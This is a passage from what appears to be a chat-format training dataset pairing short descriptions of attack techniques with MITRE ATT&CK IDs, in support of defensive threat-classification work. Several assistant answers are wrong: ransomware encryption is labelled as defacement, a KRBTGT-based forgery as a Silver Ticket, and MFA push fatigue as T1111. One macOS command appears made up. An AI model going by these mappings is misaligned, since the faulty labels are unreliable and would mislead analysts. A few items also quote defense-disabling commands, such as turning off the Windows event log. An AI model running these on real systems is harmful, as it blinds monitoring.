                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team takes over a recursive DNS resolver to stealthily redirect user requests."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor changed the domain policy to disable security updates via GPO."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the registry key for network providers to point to a malicious DLL, enabling credential collection on every login."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised service account, the attacker programmatically sends MFA request alerts to the user’s authenticator, aiming to deceive them into approving one."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware enumerates all running processes using Windows API calls to gather process names and IDs."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses search engines to locate publicly posted system logs that contain debugging information."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker adds a malicious line to the RC initialization script /etc/rcS to execute their ransomware on boot."
            },
            {
                "role": "assistant",
                "content": "T1037.004 - Boot or Logon Initialization Scripts: RC Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT modifies the systemd unit of cron.service to include a malicious command."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary employs web search queries to find open-source repositories or pages that disclose internal network details of the victim."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A worm spreads across the network and on each infected machine triggers an infinite loop that monopolizes CPU cycles, leading to an OS exhaustion flood."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use open DNS resolvers and CDN edge nodes to enumerate domain names and underlying IP ranges of the target organization."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script runs 'Set-Service -Name EventLog -StartupType Disabled' in PowerShell, preventing any new event entries."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A file‑less attack checks for a particular BIOS version and only continues if the BIOS version is exactly '1.2.3', serving as an environmental keying guardrail."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware abuses the Windows Credential Manager API to pull credentials saved by web browsers."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage an application access token captured from a legitimate app to impersonate the app and access sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a leaked KRBTGT password, the hacker produces a counterfeit Kerberos ticket for the Exchange service."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker buys a dedicated server in a foreign data center to use as a pivot point for further attacks."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create an Active Setup registry entry under HKLM\\Software\\Microsoft\\Active Setup\\Installed Components to execute a PowerShell script each time a new user logs in."
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Boot or Logon Autostart Execution: Active Setup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant encrypts only user files while leaving system files untouched to delay detection."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the PubPrn printer driver proxy to run a PowerShell payload, bypassing execution controls and achieving persistence."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom keylogging module is embedded in a trojan that monitors SSH sessions and records all commands entered by the user."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An employee clicks on a malicious link in a compromised internal chat message, leading to a drive‑by download of a RAT."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker issued 'fsacl -r -a everyone:fullcontrol /Applications/ImportantApp.app' on macOS to grant all users full control over a critical application bundle."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use the Distributed Component Object Model to execute commands on remote workstations without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary changes the group policy to turn off real‑time scanning, preventing the AV from using its indicator database."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor creates a VPN connection from a compromised host inside the organization to a remote host, effectively bridging the internal network with an external network."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a malformed Bluetooth pairing request to cause the Bluetooth stack to crash, denying wireless functionality on the device."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary enumerated local security groups on the compromised host by calling the NetLocalGroup API."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a Word document triggers a VBScript that calls \"FileSystemObject.DeleteFile\" on every file in the user profile."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software establishes a covert channel by encapsulating its traffic inside HTTP POST requests to a compromised web server."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware group deploys a malicious binary that creates thousands of processes on a victim's endpoint, causing the system to crash."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor sends data using standard LDAP queries, making its traffic blend with typical directory service communications."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rename a malicious executable to \"svchost.exe\" and place it in the system directory to blend in with legitimate processes."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hides C2 traffic within legitimate streaming video protocols, using RTMP over port 1935."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary injects malicious DLL into a running process to alter in-memory data structures."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor reuses a stale remote desktop session cookie to regain access after the user logs out."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware queries the OS for network adapter settings, including IP addresses and DNS servers, to map the victim's network."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables the bash history to hide their commands on the compromised Linux host."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor embeds a PowerShell script inside the metadata of a PDF document, which is later extracted and executed on the victim host."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider captures and alters wireless traffic to corrupt data packets before they are processed by the destination device."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised equipment is reconfigured to accept OAuth tokens from a malicious identity provider, bypassing standard credential checks."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious group utilizes automated vulnerability scanners to locate and catalog exploitable weaknesses across the network."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed exfiltrated logs inside DNS queries to the command and control domain, leveraging the C2 channel for data transfer."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When the primary HTTPS channel is disrupted, the malware uses DNS tunneling to receive new payloads."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves using systemctl to enable a malicious daemon that persists across reboots."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary altered the Windows Code Signing Policy registry keys to allow executable files signed with a malicious certificate to run without prompting, effectively bypassing Trust Controls."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces the default Windows screensaver with a malicious executable that runs when the screensaver activates."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rootkit leverages DLL side-loading to hide its malicious functions within legitimate system libraries."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign creates a hidden rule that redirects incoming phishing emails to a junk folder and marks them as read, so the user never notices the messages."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary removes entries from the Bash history file (~/.bash_history) on the target host to hide executed commands."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries replace the OS login module with one that encrypts user passwords using a reversible algorithm before verification."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious contributors upload a compromised package to a public package manager, which is then fetched as a dependency by the target organization’s software."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor uses the Windows Management Instrumentation (WMI) to create a permanent scheduled task that triggers a backdoor every 15 minutes."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker plugs a compromised USB dongle into the victim's workstation and copies confidential documents onto it before removing the device."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A targeted voice phishing attempt asks the target to disclose two-factor authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a session fixation flaw to set a known session ID, then steals the resulting cookie after the victim logs in."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder used a stolen AWS Lambda function's execution role to request temporary session credentials via STS, enabling them to assume additional IAM roles."
            },
            {
                "role": "assistant",
                "content": "T1548.005 - Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a default admin account on a network router and changes its password to lock out the legitimate admin."
            },
            {
                "role": "assistant",
                "content": "T1585 - Establish Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a compromised developer's workstation to alter source code in a public repository, causing downstream applications to contain hidden functionality."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages launchd to install a daemon that periodically contacts a C2 server for commands."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder edited the IAM role attached to a cloud compute instance, granting the instance elevated privileges and access to other services."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware overwrites the stored environment variables in the system registry to redirect system paths."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A counterfeit mobile app was published under the name \"Google Maps\" in the app store, containing spyware to track user locations."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a social engineering attack to trick a user into approving a fraudulent MFA push request, thereby gaining access."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers embed RTL override characters in command-line arguments to hide malicious commands behind harmless-looking text."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by setting the KeepAlive flag in a launch agent plist to continuously run malware."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Steganographic techniques are used to hide a keylogger inside a zip archive's file name characters, retrieved when the archive is opened."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a privilege escalation bug to read the password store of the user's password manager application."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses AWS CLI commands to list all EC2 instances, S3 buckets, and IAM roles, building a map of the cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1580 - Cloud Infrastructure Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious URL is posted on a popular forum, and users who click it are redirected to a site that exploits their browsers."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abused a publicly exposed .git directory on a web server to download the entire source code archive."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool reads the 'CurrentControlSet\\Services' registry path to enumerate services."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware sample is named 'financials.xls.exe' to masquerade as a spreadsheet."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor tricks a user into authorizing a malicious OAuth app, granting the attacker access to the victim's Google Workspace accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvests OpenSSH private keys from user profiles on a compromised host and uses them to establish lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
